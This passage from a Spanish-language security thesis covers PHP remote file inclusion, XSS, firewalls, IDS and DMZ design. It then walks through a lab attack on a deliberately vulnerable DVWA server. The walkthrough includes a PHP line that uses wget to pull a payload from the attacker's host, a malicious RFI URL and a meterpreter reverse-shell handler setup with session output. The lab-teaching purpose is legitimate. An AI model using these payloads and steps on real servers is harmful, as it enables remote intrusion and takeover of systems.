programacion por el uso de las funciones require, include, include_once y require_once.

Por ejemplo un programador podria utilizar en una aplicacion con PHP el uso de alguna

variable (ejemplo varenlace) en la URL del sitio, para de esta manera redireccionar mediante
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codigo script en PHP a alguna otra pagina. Como los sitios Web estan formados o
estructurados por varias secciones (ejemplo principal, descargas, contacto, etc.), un
atacante podria aprovecharse para modificar los datos de la variable (varenlace). Veamos

un ejemplo:
Datos que se envian al servidor mediante el método GET.

<?php
include($_GET]['varenlace'] );

>

Por ejemplo viendo el cédigo anterior si un usuario abre el enlace a la URL de la seccién

descargas, lo que se enviaria al servidor Web seria lo siguiente:

http://www.servidorweb.com/index.php?varenlace=descargas

El cédigo ejecutaria el valor de la variable “($_GET['varenlace'])” que en este caso es
descargas llamando a la funcién “include (descargas.php)®. La funcién “include” permite
incluir archivos alojados en el servidor pero también permite incluir archivos alojados en

servidores remotos mediante el protocolo HTTP

Entonces un atacante podria modificar el valor de la variable “varenlace”, introduciendo en
dicha variable una direccién de un servidor remoto donde tenga alojado un script malicioso
para incluirlo en el servidor victima, ejecutando asi codigo remoto dentro del mismo. La URL

modificada seria la siguiente:
http://www.servidorweb.com/index.php?varenlace=http://www.servidorremoto.com/scriptmalicioso.php

Este script puede ser creado con cédigo malicioso con el fin de obtener una shell remota

destinada para cumplir con los objetivos del atacante.

2.8.1.1 METODOS DE PROTECCION

— Para evitar este tipo de ataques se podria filtrar las variables, de esta manera nos
asegurariamos que el valor que se pasa es uno de los esperados. Por ejemplo los
valores de las secciones podriamos filtrar de la siguiente manera:
<?php
if($_GET['varenlace']=="principal’)

include(‘principal.php’);
else if($_GET['varenlace']=="descargas’)
include(‘descargas.php’);

7>
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— También se podria modificar la configuracion de PHP desactivando las variables

globales.

register_globals = off

— Se puede evitar también desactivando la inclusién de scripts utilizando URLs por medio
de las variables allow_url_include (PHP 5.2.0) y allow_url_fopen (PHP 4.0.4).
allow_url_include = false

allow_url_fopen = false

2.8.2 CROSS SITE SCRIPTING (XSS)

Esta vulnerabilidad es aprovechada por los atacantes para explotar la confianza de un
usuario hacia un sitio web en particular. La vulnerabilidad se presenta por fallos en la
implementacién de un mecanismo de filtrado de los campos de entrada del sitio web, dando

como resultado el envio de datos o la ejecucion de scripts.

Create
Name

Deepak Kumar

Email ID
e Message from webpage n

omdeepak@aol.com
Message f suck

XSS Test <script>alert('suck’);</script>

oK

Create

Back to List

Figura 2-39 Cross Site Scripting (XSS). (Programming, sf)

Los ataques Cross Site Scripting se clasifican de la siguiente manera:
— XSS reflejado

Este tipo de ataque consiste en modificar los valores que se pasan a través de la URL por
otro tipo de datos pasado por el usuario a la web, permitiendo que el cddigo insertado se
ejecute en el sitio. Los atacantes pueden robar las cookies y posteriormente la identidad,
enviando correos que engafian al usuario con enlaces disfrazados para que se produzca el

robo.
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— XSS persistente

Este tipo de ataque incrusta cédigo malicioso HTML en el sitio mediante etiquetas <scripts>
o <iframe>. El codigo queda implantado internamente en el sitio y es ejecutado cada vez
que se abre la aplicacion web. Los filtros utilizados por parte del servidor no funcionan ante
este tipo de codigos ya que estos se ejecutan en el lado del cliente

2.8.2.1 METODOS DE PROTECCION

— Limitar los caracteres de entrada que un usuario puede introducir. Para limitar la
cantidad de caracteres se puede utilizar la variable “maxlength” que proporciona el
estandar HTML

— Representar los datos preservando su significado, por ejemplo las comillas dobles se
pueden transformar en “&quot”; que es como se representa en HTML. Para realizarlo se
puede utilizar la funcion “htmlspecialchars” logrando asi que el navegador ejecute y
evalle el cédigo.

— Eliminar las etiquetas HTML incluidas en un campo de texto para lograr sanear los datos,
es decir obtener Unicamente los datos que realmente nos interesa. Para conseguir

sanear los datos se puede utilizar la funcion “strip_tags”.

2.9 SEGURIDAD EN EL SERVIDOR WEB

(Roldan Peral, 2010) en cuanto a la seguridad nos dice en su articulo que los ataques se
dan con mayor frecuencia por tener una mala configuraciéon o mal disefio de los servidores,
puede darse también por un fallo en la programacion que son derivados por desajustes con
los acuerdos de nivel de servicio (SLA). También nos explica de la importancia de la
seguridad que debemos tener en cuenta con los servidores web mediante dispositivos de
seguridad, estos dispositivos nos ofrecen beneficios y funcionalidades que a continuacién se

describen:

— Proteccion de firewall e IPS sobre aplicaciones web.

— Firewall de aplicaciones XML, implementando las capacidades IPS, sobre el codigo
XML.

— Balanceo de carga entre los servidores web, con el fin de conseguir una descongestion
de los mismos.

— Bloqueo de amenazas sobre las aplicaciones que corren en el servidor web como cross
site, inyeccion SQL o ataques de buffer overflow.

— Soporte para comunicaciones SSL y procesamiento de cifrado XML.

— Cumplimiento de normativas de seguridad.
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— Reduccion de la complejidad en la administracion.

Viendo este panorama al que las empresas se encuentran expuestas entonces cabe sefialar
que la seguridad de una empresa no estd dada por la inversion que se realice en
tecnologia, sino mas bien por tratar de realizar una correcta configuracion de los mismos y
de los servidores web, para que mutuamente se complementen en cuanto a la seguridad se

refiere.

En el Anexo | se explica como configurar el PHPIDS que es utilizado en la aplicacion web
DVWA para la deteccion de ataques hacia el servidor Web. Estos ataques podrian ser:
Cross Site Scripting, sql injection, header injection, Directory Transversal, Remote File

Intrusion, Local File Intrusion, Denial of Service.

Existe también un nuevo proyecto llamado EXPOSE que esta basado en PHPIDS y
realizado por los mismos desarrolladores pero que no va ser tratado en este trabajo sino

mas bien se pone en conocimiento.

2.10 SEGURIDAD EN LA RED

La seguridad en la red debe tener como principal objetivo asegurar la informacion de
posibles riegos y proteger los recursos informaticos de las organizaciones. Las
organizaciones deben tomar todas las medidas necesarias mediante politicas para prevenir

y llevar un constante monitoreo de los posibles accesos no autorizados a la red.

En la seguridad de una red se debe tener en cuenta la autenticacion y la autorizacion. Se
podria decir que la forma mas basica para proteger los datos de una red es la autenticacion
mediante usuario y contrasefia, la autorizacion de acceso a esos datos es controlada por el
administrador de la red. También se podria conseguir seguridad adicional por ejemplo
cifrando los datos de los servicios (SSH, FTPS, HTTPS, VPN, WEP, WPA, etc.) para que no

puedan ser leidos por usuarios mal intencionados

En fin la seguridad en una red es un area muy amplia y compleja dependiendo de la
infraestructura y el tamafio de las organizaciones, puesto que esto definira la tecnologia y

los recursos necesarios para cubrir las necesidades de seguridad.

En este apartado se explicara acerca de los mecanismos de defensa en redes (cortafuegos

y el IDS) que existen y que se tomd en cuenta para el desarrollo del trabajo
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2.10.1 MECANISMOS DE DEFENSA
2.10.1.1 CORTAFUEGOS

Un Cortafuego es un mecanismo de defensa que nos permite proteger una red confiable de
una red no confiable como puede ser el internet, como este estd ubicado entre estas dos
redes, es necesario que el Cortafuegos opere basandose en una politica de seguridad

establecida por la organizacién.

Como caracteristica principal el Cortafuegos sirve solo como defensa perimetral de las redes
y no tiene la capacidad de detener ataques producidos desde la red interna y peor aun
cuando un atacante logra traspasarlo. Por lo tanto, aunque este es el mecanismo que
debemos tener muy en cuenta a la hora de establecer una correcta seguridad en las
Organizaciones, este no es una solucion final a los problemas de seguridad. Existen varios

tipos que a continuacion se detallan.
— Tipos de Cortafuegos

Generalmente se conocen que existen firewall de hardware y software, en este apartado se
describen estos tipos de firewall basandonos por su funcionamiento. Existen basicamente
cuatro tipos de firewall:

— Filtrado de paquetes

Los filtros de paquetes operan a nivel de red (o nivel IP) y de transporte (mediante TCP y
UDP) de la familia de protocolos TCP/IP y filtran paquetes IP, basandose, para ello, en
los valores de algunos campos de las cabeceras de IP y TCP o UDP. Algunos filtros de
paquetes ofrecen la posibilidad también de filtrar el trafico en funcién del enlace de red
del que proceda dicho trafico. (Sancristobal Ruiz, Alzorriz Armendériz , & Diaz Orueta ,
2014, pag. 222).

Este se basa en los siguientes criterios de las cabeceras de IPy TCP o UDP:
— Protocolos utilizados

— Direccion IP de origen y de destino

— Puerto TCP o UDP de origen y de destino

El filtrado de paquetes por lo general es la conexién final con el proveedor de servicios
(ISP), ubicandose entre la red LAN y la WAN para proteger la red interna del acceso de

usuarios externos.
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Reglas de filtrado

=

Figura 2-40 Filtrado de paquetes. (Hernandez, 2012)

El Kernel de Linux posee esta funcionalidad para filtrar paquetes que se encuentra incluida

en el framework Netffilter. En este proyecto se tom6 en cuenta este tipo de cortafuegos

mediante iptables de Linux, es por eso necesario sefialar cudles son las ventajas y

desventajas.

Como ventajas podriamos decir que:

Mediante una herramienta como iptables se puede personalizar la seguridad a través de
un conjunto de reglas implementadas por un administrador

Como la filtracién de los paquetes se lo realiza a nivel de enrutador, no se necesita
realizar ningun tipo de configuracién en el lado del cliente, como es en el caso de los
proxy gue operan a nivel de aplicacion.

En cuanto al rendimiento, este sera mucho mas rapido ya que la conexion del cliente

hacia al equipo remoto se lo hace de forma directa y no a través de un proxy

Como desventajas podriamos decir que:

Este tipo de cortafuegos no puede filtrar los paquetes por contenido como lo hacen los
proxy

Filtra los paquetes en la capa de protocolo (IP, TCP y UDP) pero no puede filtrar en la
capa de aplicacion.

Cuando se usa enmascaramiento de IP y redes DMZ, las reglas de filtrado pueden
resultar dificiles (en redes complejas)

Gateway de aplicaciones

Este tipo de cortafuegos es utilizado para mitigar las debilidades del filtrado de paquetes,

también conocido como servidor proxy, y la maquina donde se esta ejecutandose lleva el

nombre de Gateway de aplicacion o Host Bastion. Los servidores proxy tienen la
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particularidad de filtrar a nivel de aplicacion, actuando de forma transparente como

intermediario entre el cliente y el servidor

Bastion Host

I Proxy de

Aplicaciones

B < >—» K
Cliente Servidor

Tlusién de Usuario Real

Figura 2-41 Gateway de aplicaciones. (Rios Mora, 2015)

Si el cliente necesita un servicio del servidor real, el proxy es el encargado de realizar el
pedido a dicho servidor, analizando el trafico de red en busca de contenido que pueda

comprometer la seguridad.

Existen diferentes tipos de servidores proxy de los cuales los mas destacados son: Trusted
Information Systems (proxy para telnet, ftp, Rlogin, Sendmail, http, etc.), sistema genérico
SOCKS, Proxy Server de Microsoft (proxy para ftp, http y nntp) y TIS FWTK (Sancristébal
Ruiz, Alzérriz Armendariz , & Diaz Orueta , 2014).

[ temetServer | | HTTP Server |

Bastion Host

n@ F|

@E ht

[ Temetiient | [ TP ciient |

Figura 2-42 Proxy FWTK. (docstore.mik.ua, s.f)

Como ventajas podriamos decir que:

— Se puede administrar que aplicaciones y protocolos pueden funcionar fuera de la red
interna (LAN)

— El cache que almacenan los proxys pueden ahorrar el consumo de ancho de banda, ya
gue las consultas que son frecuentes se lo hace localmente y no al internet.

— Se puede llegar a obtener un correcto control acerca del uso de los recursos de la red,

debido a que los servicios proxy hay como registrarlos y supervisarlos
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Como desventajas podriamos decir que:

— La mayoria de los proxys funcionan solamente con servicios conectados a TCP y
frecuentemente para aplicaciones especificas (telnet, http, etc.)

— Pueden llegar a ocasionar un cuello de botella ya que no hay una conexion directa del
cliente con algun servicio remoto.

— Se debe establecer alguna forma de seguridad por parte de los servidores de

aplicaciones, ya que los servicios de aplicaciones no se pueden ejecutar sin el proxy

— Stateful inspection

Cortafuegos de tipo stateful inspection, o de filtrado dinamico de paquetes, que son
capaces de mantener el estado de cada sesion a través del cortafuegos y cambiar las
reglas de filtrado dinAmicamente, conforme a lo definido en la politica de seguridad (...)
(Sancristébal Ruiz, Alzérriz Armendariz , & Diaz Orueta , 2014, pag. 219)

La ventaja de usar este tipo de cortafuegos es que en vez de tener abiertos los puertos que
los protocolos necesitan, este abre los puertos Unicamente el tiempo necesario para que el
paquete pase. Con esto un atacante no tiene muchas oportunidades para poder introducir
c6digo malicioso a la red.

Dentro de iptables es posible configurar un cortafuego stateful para poder proteger contra
diferentes ataques como: negacion de servicios, ataques de suplantacion y ataques de

fuerza bruta.

Los ataques de fuerza bruta con las herramientas actuales son faciles de realizar, pero el
uso de iptables con las reglas apropiadas ayuda a proteger contra este tipo de atagques

mediante la creacién de una lista negra de direcciones IP.

En cuanto a este tipo de cortafuegos, (Sancristébal Ruiz, Alzérriz Armendéariz , & Diaz
Orueta , 2014) nos dicen que los mas significativos en entornos reales son: los cortafuegos
de tipo stateful inspection, Firewall-1 de Checkpoint, CiscoASA (Adaptive Security
Appliance), y que ademas de su tecnologia en particular pueden configurarse como

servidores proxy.
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Figura 2-43 Cisco ASA. (Wang, 2016)

— Hibridos: es la combinacion de los diferentes tipos de firewall

2.10.1.2 SISTEMA DE DETECCION DE INTRUSOS (IDS)

El sistema de deteccién de intrusos (IDS) es un dispositivo que se encarga de analizar la

actividad del sistema o de la red por entradas no autorizadas o actividades maliciosas y de

este modo reducir el riesgo a una intrusion

Una intrusién se puede definir como un mensaje o serie de mensajes que cumplen varias

condiciones:

es lo normal en el trafico de una red.

Se aparta de un comportamiento normal, lo cual ya implica cierto problema: conocer que

Si es anormal, hay que decidir que si es anormalidad proviene de un uso incorrecto (con

probabilidad, un ataque) o si es una situacidon no peligrosa. (Sancristébal Ruiz, Alzérriz
Armendariz , & Diaz Orueta , 2014, pag. 311)

En este sentido de acuerdo a la definicion de intrusion, se debe tomar en cuenta los falsos

positivos que pueden generar estos sistemas. Los falsos positivos no son mas que alertas

que generan los IDS y que nos indican que de acuerdo al tréfico analizado se esta

realizando un ataque cuando en realidad no lo es.

Los dos tipos mas conocidos de IDS son los NIDS que son basados en red y los HIDS que

son basados en host.

— NIDS: los NIDS son sistemas que verifican los paquetes de informacién que viajan por

una o varias lineas de red en busca de actividades maliciosas o anormales, el trafico es

captado mediante uno o mas adaptadores de red en modo promiscuo, mientras que otra

interfaz servira para las tareas de gestion y administracion.
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Figura 2-44 IDS basado en red, en modo “in-line”. (Gonzalez, 2003)

— HIDS: estos se encuentran en un host particular, es decir que pueden operar bajo varios
sistemas operativos como: Windows, Linux, Solaris, Aix, etc. Este funciona como un
servicio o demonio para analizar informacién almacenada en registros como son:
Registro del sistema, mensajes, lastlogs y wtmp. También captura los paquetes de
entrada y salida del host para detectar anomalias de una posible intrusion.
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Figura 2-45 IDS de Host (HIDS). (Academlib.com, s.f)

Los sistemas IDS mas utilizados en la actualidad son los que estan basados en firmas, estos
tienen una base de datos de firmas de ataques conocidos, los otros sistemas son los que
estan basados en anomalias, estos cuentan con un patron de comportamiento normal y
comparan el trafico o comportamiento del sistema para detectar anomalias de posibles
intrusiones. En este proyecto se utiliz6 un IDS de red (NIDS) mediante el uso del sistema

Smooth-Sec, que el Anexo | se explica su configuracion.

2.10.1.3 TOPOLOGIAS DE DEFENSA Y ZONA DESMILITARIZADA

Para comprender las topologias de defensa partiremos entendiendo el funcionamiento de un
host bastion. Este dispositivo esta configurado para recibir ataques del exterior, su

configuracion es alta y esta situado entre la red externa y la red interna.
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Tipos de host bastion

Single-homed host: este dispositivo cuenta con una interfaz de red y es utilizado como
una puerta de enlace en el nivel de aplicacion. El router externo esta configurado para
enviar datos al host bastion y los clientes internos enviar datos de salida al mismo.
Dual-homed host: este dispositivo cuenta con al menos dos interfaces de red y sirve
como puerta de enlace a nivel de aplicacién y como filtro de paquetes. La ventaja de
este tipo de host bastion es crear un quiebre entre la red externa y la red interna. Todo el
trafico de entrada y salida pasa por este host permitiendo de esta manera evitar que un
atacante puede tener acceso no autorizado hacia la red interna.

Multihomed host: este tipo de dispositivos operan dentro de una red interna como un
host mas, esta configurado para recibir todo el trafico de entrada y salida, es decir que el
host bastion externo dirige todo el trafico desde el exterior hacia el host bastion interno,
de la misma manera el host bastion interno dirige todo el trafico de la red interna al host
bastion externo. Esto sucede cuando la politica de seguridad requiere que todo trafico

entrante y salida sea enviado a través de un servidor proxy

Como las topologias de defensa estan formadas por estos dispositivos en los cuales pasan

el trafico de la red, entonces pueden proporcionar seguridad mediante sus configuraciones.

Arquitectura simple

Dualk
‘ homed
Host

P _ P _ _

Figura 2-46 Arquitectura Simple Dual-homed host. (docstore.mik.ua, s.f)

Como podemos apreciar en la figura 2-46 existe un cortafuego con dos interfaces de red, la

una esta conectada hacia el internet y la otra a la red interna. El problema con esta

arquitectura es que si un atacante logra engafiar al firewall la red interna puede ser

comprometida.

Arquitectura en profundidad

Para poder evitar el acceso a la red interna desde el exterior utilizamos la denominada zona

desmilitarizada (DMZ), esto afiade un nivel de seguridad a las arquitecturas que hoy en dia
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son las mas utilizadas. En este tipo de arquitecturas se conecta un cortafuego a una tercera
red la que denominamos zona desmilitarizada (DMZ), en esta zona se encuentran los

servidores que estan expuestos al exterior.

£
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(LAN)

Router (WAN) € 7

Figura 2-47 Arquitectura de defensa en profundidad. (1&1, s.f)

En la figura 2-47 se puede ver que existen dos zonas en la red interna claramente
diferenciadas, la una la DMZ o red perimetral y la otra la red interna (LAN), de esta manera
se logra obtener mayor seguridad en la red interna ya que si un atacante logra comprometer
la DMZ no tendra acceso a la LAN. Este proyecto se basé en esta arquitectura creando una
zona desmilitarizada (DMZ), en donde se instal6 el servidor Web que esta expuesto hacia el

exterior.

2.10.1.4 PORT KNOCKING

Port Knocking es una técnica utilizada para dar seguridad a las conexiones o acceso a
ciertos puertos contra usuarios no deseados. Los puertos se mantienen cerrados y solo
seran abiertos usando una secuencia de combinaciones secretas establecidas con un

orden.

Por ejemplo si tenemos deshabilitado el acceso a SSH por cualquier puerto y el puerto
asignado a SSH es el 9090, este se encontrara cerrado para todos los usuarios. Al momento
de realizar una conexion a SSH légicamente no se podra ya que el puerto 9090 estara
cerrado. Para lograr la conexion a SSH podriamos realizar las siguientes combinaciones

secretas:

— Hacer un telnet al puerto 7171 del servidor
— Hacer un telnet al puerto 8181 del servidor

— Hacer un telnet al puerto 9191 del servidor
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El servidor validara las combinaciones secretas realizadas en el orden establecido y abrira el
puerto 9090 para realizar la identificacion de login a SHH y solamente a la IP desde la cual

se realizd la combinacién de forma correcta.

Para proceder a cerrar la conexion podemos realizar otra combinacién secreta y en un orden

establecido. Por ejemplo:

— Hacer un telnet al puerto 3600 del servidor
— Hacer un telnet al puerto 4600 del servidor

— Hacer un telnet al puerto 5600 del servidor

Al realizar estas combinaciones secretas el servidor validard y automaticamente cerrara el

puerto 9090 nuevamente.

3 OBJETIVOS CONCRETOS Y METODOLOGIA DE TRABAJO

3.1 OBJETIVO GENERAL

Explotar la vulnerabilidad del servidor Web de la DMZ y de los diferentes sistemas
operativos de la red interna (LAN).

3.2 OBJETIVOS ESPECIFICOS

— Implementar una red virtual con un servidor Web en la DMZ vulnerable a atagques y como
mecanismos de seguridad un firewall y un IDS.

— Realizar un bypass del firewall explotando la vulnerabilidad del servidor para acceder a
la red interna.

— Explotar las vulnerabilidades identificadas de los sistemas operativos de la red interna.

— Monitorear e identificar los ataques mediante los mecanismos de seguridad (IDS/IPS)

— Realizar configuraciones de seguridad en los sistemas para prevenir accesos remotos.

— Realizar un andlisis para comparar en nivel de seguridad frente a los ataques realizados

a los sistemas operativos.

3.3 PILOTO EXPERIMENTAL

El entorno experimental del trabajo se basa en un ambiente virtualizado por medio de GNS3,
para simular una red de computadores con sistemas operativos Windows y Linux, ademas

de un servidor Web, firewall e IDS. Todos estos sistemas estan virtualizados con Virtualbox.
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3.4 CREACION Y CONFIGURACION DEL ENTORNO VIRTUAL

Para la creacién del entorno virtual hemos utilizado herramientas de software libre, como
GNS3, Virtualbox, sistemas operativos de servidor como Ubuntu Server, mecanismos de
defensa como el Smooth-Sec (IDS/IPS), sistemas operativos de escritorio como Ubuntu
Mate 15.10 y el sistema operativo Microsoft Windows 10. En la seccién de los Anexos A, B

y C se detalla la creacién y configuracién del entorno virtual

3.5 ATAQUES A LOS EQUIPOS DE LA RED

Para la ejecucion de los ataques se utilizé el sistema operativo Kali Linux, este va ser el
sistema huésped que abarcara todo el entorno virtual (GNS3, Virtualbox) desde el cual se
realizard los ataques, simulando de esta forma un ataque desde el exterior hacia el servidor
Web (DM2) y la red interna (LAN). Esta distribucién basada en Debian cuenta con una serie
de herramientas destinadas para la auditoria y seguridad informatica. Para la realizacién de

este proyecto se utilizé la herramienta Armitage.

Armitage es una herramienta gréafica de gestion de ataques cibernéticos para el Proyecto
Metasploit que visualiza objetivos y recomienda exploits. El equipo atacante a través de una
sola instancia puede:

— Compartir las sesiones
— Compartir hosts, datos capturados y archivos descargados

— Comunicarse a través de un registro de eventos compartidos.
CONSIDERACIONES

— Para realizar los ataques utilizaremos metasploitable2 que es una distribucion basada en
Ubuntu con fallos de seguridad y puertos abiertos que es muy utilizada para realizar
practicas de seguridad. Dentro de metasplotable2 tenemos una aplicacion web llamada
DVWA creada con PHP y Mysql que tiene distintas vulnerabilidades web que pueden ser
explotadas.

— Primeramente atacaremos el Servidor Web, explotando la vulnerabilidad RFI para tomar
el control del mismo. Una vez vulnerado el Servidor Web se procedera atacar el Firewall
mediante ataques por fuerza bruta, esto nos permitird acceder a modificar sus archivos
de configuracion (Seccién 3.5.1y 3.5.2).

— Es necesario acotar que en los ataques por fuerza bruta los diccionarios son la clave
para poder vulnerar un servicio SSH. Estos pueden llegar a contener una cantidad

considerable de posibles claves o usuarios lo que provoca esperar demasiado tiempo
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para el vulnerar el servicio. Para la demostracion de este trabajo se utilizaron

Unicamente diccionarios pequefios creados previamente.

Una vez explotado el Servidor Web y el Firewall los ataques a la red interna se lo realizaran

de dos formas:

1. Ataques desde el exterior: se atacaran a los Sistemas Operativos Windows y Linux

mediante la ejecucion de archivos infectados con codigo malicioso (payload). Estos
archivos serdn documentos o ejecutables que permitirdn una conexién remota con el
equipo atacante. En la seccion 2.6 (Linux) y Anexo D (Windows) se explica como
generar este tipo de archivos. Los archivos generados con estas herramientas podrian
ser enviados a los usuarios mediante técnicas que utilizan los atacantes como es el caso
de la Ingenieria Social.
En este sentido para el desarrollo de esta secciébn vamos a suponer que estos archivos
fueron enviados (por: correo, usb, etc.) a las victimas, por lo tanto estan dentro de su
computador y que al ser ejecutados permitiran al atacante obtener una conexion remota
(Seccién 3.5.3).

2. Ataques utilizando la técnica del pivoting: se atacaran los Sistemas Operativos

Windows y Linux utilizando la técnica del pivoting que segun Pablo Gonzalez nos dice:

“Una vez que se dispone de una maquina vulnerada, ésta puede abrir la puerta a otras
que, por alguna razon, no tienen conectividad con la maquina del auditor” (Gonzéalez
Pérez & Alonso, 2014, pag. 138)

Como el acceso desde el exterior hacia la red interna no es posible, entonces nos
valdremos de la explotacién al Firewall, para desde ahi atacar a los equipos de la red

interna (Seccién 3.5.4).

3.5.1 ATAQUE AL SERVIDOR WEB
3.5.1.1 OBJETIVO

Realizar un ataque explotando la vulnerabilidad (Remote File Intrusion) existente en el
servidor Web para obtener el acceso remoto al mismo y escalar los privilegios. La

vulnerabilidad RFI fue descrita en el apartado 2.8.1

3.5.1.2 ATAQUE A LA VULNERABILIDAD REMOTE FILE INTRUSION (RFI)

Como sabemos esta vulnerabilidad se presenta en paginas dinamicas de PHP permitiendo
el enlace de archivos situados en servidores externos por consecuencia de una mala

programacion de la pagina que contiene la funcion include ().
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En el servidor Web DVWA si nos fijamos en la informacién de PHP, nos podemos dar
cuenta que esta vulnerabilidad es factible explotarla ya que su variable “allow_url_include”
esta en “On” (true). Esto quiere decir que el servidor acepta la inclusién de archivos desde
lugares remotos, por lo tanto esto nos permite explotar dicha vulnerabilidad y obtener una
shell remota.

® 192.168.122.66

Direciive Local Value Master Value
allow_call_ime_pass_reference | On on
allow_url_include on on
always_populate_raw_post_data | Off Off
arg_separator.input & &
arg_separator.output & &
asp_tags Off off
auto_append_file no value no vaiue
auto_globals_jit on on
auto_prepend_file no value no value
browscap no value no value
default_charset no vaiue no value
default_mimetype textihtml textihtml
tefine_syslog_variables of of
disable_classes no value no value
disable_functions no value no value
display_errors on on
display_startup_errors Off Off
doc_root no value no vaiue
docref_ext no vaiue no value
docref_root no value no value
enable_dl Off Off
error_append_swing no value no value
error_log no value no value
error_prepend_swing no vaiue no vaiue
error_reporting 6135 6135
expose_php on on
extension_dir fusrlibiphp5/2006061 3+fs Musrlib/iphpS/2006061 3+

Figura 3-1 Pantalla del phpinfo.php de la aplicacion web DVWA

La aplicacion web DVWA con la vulnerabilidad RFI tiene el siguiente aspecto de URL.:
http://192.168.122.66/dvwa/vulnerabilities/fi/?page=include.php

Para el ataque se va a modificar el parametro de la URL que se le pasa a
“?page=include.php”, por el enlace del servidor atacante donde va estar el payload que se

va a subir al servidor victima.

Para la creacion del payload utilizaremos Armitage con su interfaz grafica creamos el
payload “php/meterpreter_reverse_tcp”. Este payload realiza la conexién de forma reversa,
es decir que al momento que se ejecute este, el equipo victima es el que va a establecer la

conexion con el equipo atacante.

El meterpreter es una Shell o interprete de comandos que nos permite interactuar con la

méquina objetivo, permitiendo la ejecucion de multiples comandos y la posibilidad de no ser
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detectados facilmente por un antivirus, IDS o firewall, ya que se ejecuta como un proceso

del sistema operativo y no escribe ningun fichero en el sistema remoto

Armitage S @

Armitage View Hosts Attacks Workspaces Help

(& payload
v (& php
¥ (& meterpreter
|1 bind_tep
|1 bind_tcp_ipvé
|1 bind_tep_ipvé_uuid
|1 bind_tep_uuid
|1 reverse_tcp
|_] reverse_tcp_uuid

B meterpreter_reverse tcp

php/meterpreter_reverse_tcp

PHP Meterpreter, Reverse TCP Inline

Connect back to attacker and spawn a Meterpreter server (PHP)

Option

(=l

LHOST 192.168.1.107
4244

OUtPUt‘

_J show advanced options

php meter

Console X

| Launch |

Figura 3-2 Pantalla del Armitage creacion del payload php/meterpreter_reverse_tcp

Al momento que generamos el payload lo guardamos dentro del directorio donde se
almacenan los documentos “html” (/var/www/html/). Este archivo debe tener la extension

“txt” (mpayload.txt).

También vamos a generar otro archivo igualmente con extension “txt” (payload.txt) que

tendra el siguiente codigo:
<?php system ("wget -O mpayload.php http://192.168.1.107/mpayload.txt"); ?>

El archivo “payload.txt” permitird subir el payload (mpayload.txt) creado, con extension “php”
(mpayload.php) al servidor victima. En la funcion include cuando se le pase como parametro
el archivo “payload.txt” dentro de la URL este lo interpretara como cédigo php y ejecutara los

comandos que se encuentran dentro del mismo.

http://192.168.122.66/dvwa/vulnerabilities/fi/?page=http://192.168.1.107/payload.txt
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Damn Vulnerable W

€ = | @ http://192.168.122.66/dvwa/vulnerabilities/fi/?page=http://192.168.1.107/payload.txt

o Vulnerability: File Inclusion

Instructi
% ‘ To include a file edit the ?page=index.php in the URL to determine which file is included.
Setup

Brute Force
Command Execution
CSRF

More info

Figura 3-3 Pantalla de la estructura de la URL para insertar el payload en el servidor

Antes de subir el payload en el servidor web (DVWA) mediante la URL que se muestra en la
figura 3-3, necesitamos iniciar el servidor web atacante mediante el comando “$sudo
letc/init.d/apache2 start”. También debemos tomar en consideracion los archivos con
extension “txt” creados (mpayload.txt y payload.txt), estos deben tener los caracteres de

inicio (<?php ) y fin (?>), como cualquier fichero “php”.

Debemos tomar en cuenta que el cédigo php se ejecuta en el servidor y el usuario solo
puede ver el resultado, no seria valido subir los archivos creados con extension php, ya que
se estaria ejecutando antes el cédigo, en el lado del servidor atacante y no en el servidor

victima. Por ultimo debemos poner en escucha la conexion que venga del servidor web.

Armitage

Armitage View Hosts Attacks Workspaces Help

(& payload
v [& php
v f—-‘ meterpreter
|1 bind_tcp
| 1 bind_tcp_ipve

bind_tcp_ipv6_uuid
bind_tcp_uuid
reverse_tcp
reverse_tcp_uuid

. meterpreter reverse tcp

php/meterpreter_reverse_tcp

PHP Meterpreter, Reverse TCP Inline

Connect back to attacker and spawn a Meterpreter server (PHP)

192.168.1.107
[4444]

php meter

Console X

Output: §| multifhandler 5

_J Show advanced options

Launch |

Figura 3-4 Pantalla de configuracion del payload php/meterpreter_reverse_tcp
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Armitage

Armitage View Hosts Attacks Workspaces Help
¥ (& payload
¥ (& php
¥ (& meterpreter
[ bind_tep

<
»

[ bind_tep_ipvé
[ bind_tecp_ipv6_
[ bind_tep_uuid
[ reverse_tcp

[ reverse_tcp_ut

& meterpreter_rev

php mete

c X | php/meterpreter_reverse_tcp X

) > set LHOST 19 68.1.107
> set LPORT 4444
> set ExitOnSession false
msf exploit(
[*] Exploit running as backg ob

[*] started reverse TCP handle 192.168. 1. 107:4444
[*1 starting the payload handl

msf exploit( >

Figura 3-5 Pantalla del exploit/multi’/handler en escucha
Después de ejecutar la URL que se muestra en la figura 3.3, el payload es subido dentro

del servidor web como podemos ver en la siguiente imagen.

m=fadmin@metasploitable:svar/uwwsdvwasvulnerabilities-fi
help include.php index.php| mpayload.php |source

nsfadmin@metasploitable:/var/-Uuu/duwa-svninerabilities fi5 _

Figura 3-6 Pantalla de la subida del mpayload.php en el servidor Web

Ejecutar el “mpayload.php” mediante la URL:

http://192.168.122.66/dvwa/vulnerabilities/fi/?page=mpayload.php

Damn Vulnerable We %

@  http://192.168.122.66/dvwa/vulnerabilities/fi/?page=mpayload.php

Home Vulnerability: File Inclusion

Unstuctions | | To include a file edit the ?page=index php in the URL to determine which file is included |
Setup

Brute Force
Command Execution
CSRF

More info

Figura 3-7 Pantalla de la ejecucion del payload “mpayload.php”

Al ejecutar el archivo “mpayload.php” como se ve en la figura 3-7, se establece
automaticamente una conexion remota (php/meterpreter_reverse _tcp) desde el servidor

victima al servidor atacante.
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Armitage

Armitage View Hosts Attacks Workspaces Help

¥ & payload
v (& php
¥ (& meterpreter
[ bind_tcp
| bind_tcp_ipvé
|1 bind_tcp_ipvé_|
[ bind_tcp_uuid
[ reverse tep .
[ reverse_tcp_ul e Loitable

I meterpreter revy

php mete

Console X | php/meterpreter reverse tcp X | Meterpreter 1 X
meterpreter > ls
Listing: /var/www/dvwa/vulnerabilities/fi

Mode Size Type Last modified Name

40755/ TWIr-xr-x dir -2 help
100644/rw-r--r-- 48 fit 2 include.php
100644 /rw- fil i phi
100644/rw-r fil

40755/ TWxr-xr-x dir

meterpreter >

Figura 3-8 Pantalla de sesién meterpreter del servidor Web

3.5.1.3 ESCALAR PRIVILEGIOS EN EL SERVIDOR WEB

Para llegar a nuestro objetivo que es atacar la red interna, necesitamos primeramente
acceder al servidor web con permisos de administrador y desde ahi atacar el servicio ssh del
firewall y modificar sus reglas. Como ya hemos obtenido una conexion remota con el
